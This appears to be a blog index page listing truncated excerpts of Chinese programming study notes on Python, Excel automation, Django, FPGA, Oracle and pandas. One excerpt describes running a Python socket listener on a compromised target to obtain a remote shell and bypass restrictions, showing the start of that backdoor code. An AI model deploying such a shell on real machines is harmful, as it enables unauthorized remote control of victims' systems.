[Python學習筆記] 利用 Python在Excel 插入註解

用Python 來處理excel 檔用過了 openpyxl 還有 pyexcel目前覺得除了讀寫如果還要使用另外的功能 (像是讀取格子裡的公式)可以用 xlwings 他的首頁標題 "Make Excel fly with Python!" 聽起來就比較厲害以下為我的Python插入註解程式碼完整的程式碼在我的 Github # -*- coding: utf-8 -*- from xlwings import Workbook, Sheet, Range, Chart i…

[Python學習筆記] 使用xlwings 插入註解 (forked 版本)

到今天為止 xlwings 還沒有插入註解的功能去原始開發者的 Github Pull Requests 他說之前有人有建議要加入這個功能但他還沒更新~ 如果需要使用 Python 來插入註解的話可以用我改好 forked 出來的 xlwings 使用方式如下 from xlwings import Workbook, Sheet, Range, Chart wb = Workbook(r'Excel 檔案路徑') wb = Workbook.caller() #讀取註解 x= Range…

[Python學習筆記] 在Centos上安裝 Django

曾在模擬器跟Digital Ocean上安裝成功,我在 Digital Ocean上的是CentOS 7 x64,模擬器的則是Centos 6.雖然Centos 本身已經裝好 Python 但是是2.6版本主要步驟如下 1. 安裝 Python 2.7.92. 安裝 pip 在 Python 2.7.9上3. 安裝 Django4. 安裝 epel-release & httpd mod_wsgi 1. 安裝 Python 2.7.9首先打開 Terminal 輸入以下 python -V 檢查…

[Python學習筆記] 抓出msg信件檔裡的附件檔案

想要把msg信件檔案的附件抓出來做處理,找到了這個Python 模組 msg-extractor 使用十分容易,但是這個模組是要在terminal裡執行,無法直接打在IDLE的編輯器上所以稍微做了修改,使用 subprocess 模組來打指令就可以了以下為程式碼完整程式碼在我的 Github #放置msg檔的檔案路徑 srcfilePath=os.path.join('C:\\', 'Python2.7.10') #msg 檔名 fileName='123.msg' def MsgToEx…

[Python學習筆記] 使用 selenium 抓取網頁並且雙擊滑鼠 (double click)

一開始使用的時候看官方文件以為使用 double_click()即可但後來出現錯誤 AttributeError: 'WebElement' object has no attribute 'double_click' 後來找了一下解決方式如下需要再多import ActionChains from selenium import webdriver from selenium.webdriver import ActionChains driver = webdriver.Chrome…

Java學習筆記(基本語法)

本文件是以學習筆記的概念為基礎,用於自我的複習紀錄,不過也開放各位的概念指證．畢竟學習過程中難免會出現觀念錯誤的問題．也感謝各位的觀念指證．安裝JDK 在Oracle網站中找自己系統的JDK下載位置設定 PATH windows10 =>本機=>右鍵內容=>進階系統設定=>進階=>環境變數設定第一個程式Hello World 12345678910111213 public class { /** 程式的預設的進入點, 必須是public static, 另外這是Ja…

FPGA學習筆記（肆）--- Star Test Bench Template Writer

上一篇testbench我自己也沒怎麽搞懂,再來一篇學習特權同學的方法. 課程:Lesson 7 BJ EPM240学习板实验1——分频计数实验鏈接:https://www.youtube.com/edit?o=U&video_id=YbNEKMLUCyI (科學上網) 前奏:創建工程,蜂鳴器code,引脚配置,編譯,等等忽略 module fp_verilog(clk, rst_n, fm); input clk;//時鐘信號,50Mhz input rst_n;//復位信號,低電平有效…

[DDD]學習筆記第15章精煉(Distillation)

核心領域(Core-Domain) 為了使領域模型成為企業真正的資產, 模型中的關鍵核心部份需要足夠靈活和充分利用來創建應用程序的功能; 簡而言之, 核心領域是系統中最有價值的部份. 濃縮模型, 將最有價值, 最體現專門知識的概念突顯出來, 並開發出滿足系統願景的柔性設計. 核心領域取決於個人的觀點, 也是通過反複迭代來確定的. 精煉的逐步升級應用以下的技術沒有嚴格的順序要求, 但不同的技術對設計產生的影響會有所不同: 領域願景聲明(Domain Vision Statement): 描述領域…

C# partial 學習筆記

局部類的講解參考:http://blog.csdn.net/susan19890313/article/details/7575204 感謝作者~…

ORACLE 學習筆記

proc 里的 commit等于提交就是你做了insert或者update后,commit后才是真正修改或者插入了数据库中如果不提交的话,那么这个表就被锁了 CURSOR MYCURSOR is --定義游標SELECT A.APPLYKIND_NO,A.FAC_NO,A.BUILDING_NO,A.DEPTKIND_NO,A.DUTYRANK_NO,A.APPROVAL_SORT,A.APPROVALRANK_NO, A.APPDEPT_NO,A.APPROVAL_TYPE,NVL(A.A…

FPGA學習筆記（貳）--- 流水燈

平臺:FPGA黑金开发板 AX301 開發環境:Quartus Prime Version 17.0.0 Build 595 04/25/2017 Standard Edition 引脚配置:鼠標托拉 Node Name 項到引脚圖即可注意事項新建工程:Set Up Top-Level Entity 名字要對應注意事項引脚復用:Assignments-->Device-->Device and Pin Options...-->Dual-Purpose pins-->nCEO…

python 學習深淺拷貝、集合、、作用域、函數

python 學習深淺拷貝.集合..作用域.函數 2020開年新冠肺炎流行大部分人員.工廠.單位無法復工生產,人員隔離每天外出都要戴口罩,在家隔離期間悶壞了感覺把半年的口糧都幹掉了,嚴重考察大家的資本厚度,估計很多年輕人快要吃土,咱們還是要繼續學習python爭取有機會增加錢包厚度,爭取在以後的生活中可以像有錢人一樣實現財務自由深淺拷貝 # 淺拷貝----只拷貝第一層copy()import copyhusband = ['xiaohu', 111, [15000, 6000]] wife =…

流暢的python學習-3

一.文件操作 #!/usr/bin/env python3 # -*- coding: utf-8 -*- """ Created on Thu Apr 23 20:59:49 2020 @author: root """ import os import fnmatch # example for f_name in os.listdir('/tmp/some_directory'): if fnmatch.fnmatch(f_name, '*…

MS Chart Control 學習手記(二) - 圓餅圖

using System.Web.UI.DataVisualization.Charting; 02 using System.Drawing; 03 04 namespace Chart.AJAX 05 { 06 public partial class Export_AJAX : System.Web.UI.Page 07 { 08 void CreateChart() 09 { 10 string[] xValue…

利用python模拟菜刀反弹shell绕过限制

有的时候我们在获取到目标电脑时候如果对方电脑又python 编译环境时可以利用python 反弹shell 主要用到python os库和sokect库这里的服务端在目标机上运行 from socket import * from os import * s=socket(AF_INET,SOCK_STREAM)#IVP4 寻址 tcp协议 s.bind(('',6666))#补丁端口 s.listen(1)#开始监听一个队列 while True: sock,addr=s.accept()#…

如何利用python实现报表自动化？让你更高效的完成工作内容

如果能够实现报表自动化,那我们将节约不少的时间,更高效的完成工作内容.那么,如何利用python实现报表自动化呢?本文将介绍xlwt .xlrd.xlutils的常用功能,xlwt写Excel时公式的应用以及xlwt写入特定目录来手把手带大家实现报表自动化. 1.python写excel (1)准备工作安装xlwt :在终端中输入pip install xlwt或者easy_install xlwt引入xlwt包 : import xlwt # 写 (2)基础教程新建工作簿&增加sheet: 新…

学好Python后可从事岗位+学习Python的难度

一.学好Python好就业: 1.Linux运维.Linux运维是必须而且一定要掌握Python语言,Python可以满足Linux运维工程师的工作需求提升效率,总而提升自己的能力.用Python实现的测试工具及过程,包含服务器端.客户端.Web.Android.client端的自动化测试,自动化性能测试的执行.监控和分析,常用selenium appium等框架. 2.Python自动化测试.大家都知道,Python语言对测试的帮助是非常大的,掌握Python你就很容易能够掌握和熟悉自动化的流…

Gazebo機器人仿真學習探索筆記（二）基本使用說明

在完成Gazebo7安裝後,需要熟悉Gazebo,方便之後使用. 部分源代碼可以參考:https://bitbucket.org/osrf/gazebo/src/ 如果還沒有安裝請參考之前內容完成安裝,快速打開ubuntu終端的方式(CTRL+ALT+t): ~$ gazebo Gazebo7自帶了很多構建好的環境模型,可以直接使用,這些模型位置和安裝路徑相關: relaybot@relaybot-desktop:~$ ls /usr/share/gazebo-7/worlds/ actor.w…

Mac 學習系列之Python Challenge 11-20

11.给你一个正整数列表 L, 如 L=[2,8,3,50], 输出L内全部数字的乘积末尾0的个数, 如例子L的结果为2.(提示:不要直接相乘,数字非常多,可能溢出) Answer: n_2 = 0 n_5 = 0 for tmp in L: while tmp % 2 == 0: n_2 += 1 tmp /= 2 while tmp % 5 == 0: n_5 += 1 tmp /= 5 print min(n_2,n_5) 12.给你一个正整数列表 L, 如 L=[2,8,3,50], 推…

python基礎學習第一天

python歷史 Python 是一种解释型.面向对象.动态数据类型的高级程序设计语言.Python 由 Guido van Rossum 于 1989 年底在荷兰国家数学和计算机科学研究所设计出来的.Python 本身也是由诸多其他语言发展而来的,这包括 ABC.Modula-3.C.C++.Algol-68.SmallTalk.Unix shell 和其他的脚本语言等等.第一个公开发行版发行于 1991 年.像 Perl 语言一样, Python 源代码同样遵循 GPL(GNU Gener…

利用Python进行数据分析(12) pandas基础: 数据合并

pandas 提供了三种主要方法可以对数据进行合并: pandas.merge()方法:数据库风格的合并: pandas.concat()方法:轴向连接,即沿着一条轴将多个对象堆叠到一起: 实例方法combine_first()方法:合并重叠数据. pandas.merge()方法:数据库风格的合并例如,通过merge()方法将两个DataFrame合并: on='name'的意思是将name列当作键: 默认情况下,merge做的是内连接(inner),即键的交集. 其他方式还有左连接(l…

利用Python进行数据分析(5) NumPy基础: ndarray索引和切片

概念理解索引即通过一个无符号整数值获取数组里的值. 切片即对数组里某个片段的描述. 一维数组一维数组的索引一维数组的索引和Python列表的功能类似: 一维数组的切片一维数组的切片语法格式为array[index1:index2],意思是从index1索引位置开始,到index2索引(不包括index2)位置结束的一段数组.例如: 当把一个值赋值为一个切片时,该值会作用于此数组片段里每一个元素,例如: 二维数组二维数组的索引当以一维数组的索引方式访问一个二维数组的时候,获取的元素不在…

利用Python进行数据分析(9) pandas基础: 汇总统计和计算

pandas 对象拥有一些常用的数学和统计方法. 例如,sum() 方法,进行列小计: sum() 方法传入 axis=1 指定为横向汇总,即行小计: idxmax() 获取最大值对应的索引: 还有一种汇总是累计型的,cumsum(),比较它和 sum() 的区别: unique() 方法用于返回数据里的唯一值: value_counts() 方法用于统计各值出现的频率: isin() 方法用于判断成员资格: 安装步骤已经在首篇随笔里写过了,这里不在赘述.利用 Pyt…

利用Python进行数据分析(8) pandas基础: Series和DataFrame的基本操作

一.reindex() 方法:重新索引针对 Series 重新索引指的是根据index参数重新进行排序. 如果传入的索引值在数据里不存在,则不会报错,而是添加缺失值的新行. 不想用缺失值,可以用 fill_value 参数指定填充值. 例如: fill_value 会让所有的缺失值都填充为同一个值,如果不想这样而是用相邻的元素(左或者右)的值填充,则可以用 method 参数,可选的参数值为 ffill 和 bfill,分别为用前值填充和用后值填充: 针对 DataFrame 重新…

利用Python进行数据分析(7) pandas基础: Series和DataFrame的简单介绍

一.pandas 是什么 pandas 是基于 NumPy 的一个 Python 数据分析包,主要目的是为了数据分析.它提供了大量高级的数据结构和对数据处理的方法. pandas 有两个主要的数据结构:Series 和 DataFrame. 二.Series Series 是一个一维数组对象 ,类似于 NumPy 的一维 array.它除了包含一组数据还包含一组索引,所以可以把它理解为一组带索引的数组. 将 Python 数组转换成 Series 对象: 将 Python 字典转换成 Serie…